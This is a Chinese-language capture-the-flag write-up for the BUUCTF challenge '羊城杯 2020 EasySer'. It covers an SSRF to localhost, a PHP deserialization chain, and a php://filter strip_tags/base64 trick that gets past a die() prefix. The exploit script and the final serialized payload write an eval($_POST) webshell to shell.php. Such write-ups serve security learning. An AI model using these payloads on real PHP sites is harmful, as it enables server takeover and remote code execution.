BUUCTF--[羊城杯 2020]EasySer

 进入后是这样的页面,有点懵,

 看下大佬的思路:
1) 源码写了不安全协议从本地,想到http 和127.0.0.1
2) 读源码看反序列化,写入shell
3) 伪协议base64绕过die(),rot13等等都可以

考点:
1) PHP 基础代码审计
2) SSRF本地文件读取
3) 反序列化写入webshell,绕过死亡绕过

使用文件扫描扫到robots.txt,提示访问/star1.php/

 查看页面的源代码可以看到提示

这里大佬给出的思路是http相对与https是不安全的,所以这里使用http协议进行访问
利用http://127.0.0.1/star1.php试试,提交后即可得到ser.php的源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>

构造不难,就是个绕过死亡exit而已
用string.strip_tags 将<?php?>全部删掉再base64解码

exp

<?php

class GWHT{
    public $hero;
}
class Yongen{ //flag.php
    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text="PD9waHAgQGV2YWwoJF9QT1NUW3BlbnNvbl0pPz4=";
}


$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

知识点:

  • string.strip.tags-------从字符串中去除HTML、PHP标签,是一个非常非常重要的函数
  • filter协议

php://filter
是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上。
该协议语法为:php://filter:/= 比如 php://filter:/resource=http://www.baidu.com
使用 php://filter 获取网页内容:<?php u r l = ′ h t t p : / / w w w . p h p f a m i l y . c n ′ ; url = 'http://www.phpfamily.cn'; url=′http://www.phpfamily.cn′;data =
file_get_contents(‘php://filter/resource=’ . $url); echo $data;
//输出结果我http://www.phpfamily.cn页面的内容 php://filter 的 参数列表参数功能read读取
write写入 resource数据来源 read参数值可为 string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写 string.tolower: 将数据流中的内容转换为小写
convert.base64-encode: 将数据流中的内容转换为base64编码 convert.base64-decode:
与上面对应解码为典型的文件包含漏洞。我们可以通过构造含有漏洞的语句,查看想要看的代码:
file=php://filter/convert.base64-encode/resource=index.php
。再将得到的base64码解码即可。

Arjun爆破出来两个参数是cpath

payload:

path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}

使用蚁剑连接即可

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值